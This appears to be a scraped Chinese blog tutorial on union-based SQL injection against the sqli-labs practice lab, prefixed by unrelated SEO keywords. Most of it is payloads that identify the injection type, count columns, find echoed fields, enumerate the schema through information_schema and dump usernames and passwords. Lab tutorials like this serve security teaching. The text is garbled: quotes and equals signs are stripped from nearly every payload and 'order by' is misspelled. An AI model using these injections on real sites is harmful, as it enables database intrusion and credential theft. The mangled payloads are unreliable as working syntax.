网站会对特殊的ip做跳转,设计外贸网站建设,个人网站设计模板素材,福州网站排名优化目录
注入类型
判断字段数
确定回显点
查找数据库名
查找数据库表名
查询字段名
获取想要的数据 以sqli-labs靶场上的简单SQL注入为例
注入类型
判断是数字类型还是字符类型
常见的闭合方式
?id1、?id1、?id1)、?id1)等#xff0c;大多都是单引号…目录
注入类型
判断字段数
确定回显点
查找数据库名
查找数据库表名
查询字段名
获取想要的数据 以sqli-labs靶场上的简单SQL注入为例
注入类型
判断是数字类型还是字符类型
常见的闭合方式
?id1、?id1、?id1)、?id1)等大多都是单引号、双引号、括号的组合。 先尝试下字符型输入?id1and 11#或者?id1and 11-- 如果是字符型可以用#或者--或者%23注释掉单引号 如果?id1没有回显那么输入?id1 or 11数字型那么肯定会回显输入?id1 or 11--字符型也肯定会回显过滤字符可能不是--也可能是别的但是用?id1 and 11或者?id1 and 11--不一定回显 再试下?id1 and 12-- 没有回显
证明是字符型输入
回显是指页面有数据信息返回。无回显是指根据输入的语句页面没有任何变化或者没有数据库中的内容显示到网页中。
如果是数字型输入那么就可以正常输入1 如何判断是字符型还是数字型呢有一种方法 数字型 1 and 11 //能回显1 and 12 //不能回显 字符型 1 and 11# //能回显1 and 12# //不能回显 判断字段数
判断字段数 order by 分四次输入1 and 11 oder by 1-- 1 and 11 oder by 2-- 1 and 11 oder by 3-- 1 and 11 oder by 4-- 前两次都是正常回显第三次报错显示没有第三列说明只有两个字段 确定回显点 输入1 and 11 union select 1,2,3-- 发现123三个数没有一个回显
因为第一个查询语句把后面的给挡住了所以要把第一个查询语句失效 可以输入1 and 12 union select 1,2,3-- 或者-1 union select 1,2,3-- 23的位置成功回显 。23都可以是注入点 就是可以更改这些点对应的相对的输入位置可以得到不同的输出
查找数据库名 输入-1 union select 1,2,database()-- 得到对应的数据库名字security
查找数据库表名 输入-1 union select 1,2,table_name from information_schema.tables where table_schemasecurity-- 得到表名emails但是在这个数据库中可能不止一个表所以我们要得到所有表而不只是一个emails表 输入-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- 在mysql的关联查询或子查询中函数 group_concat(arg) 可以合并多行的某列(或多列)数据为一行默认以逗号分隔。
所以我们可以将tables表里面的所有tables_name表名合并成一行输出 显然我们想要的是users表
查询字段名
我们会用到上面图片中的column表 输入-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- users表下的字段数很多显然易见我们想要获取的只是账号密码所以对我们有用的是username和password字段
获取想要的数据 输入-1 union select 1,2,group_concat(username,-,password) from users -- 成功得到对应的账号密码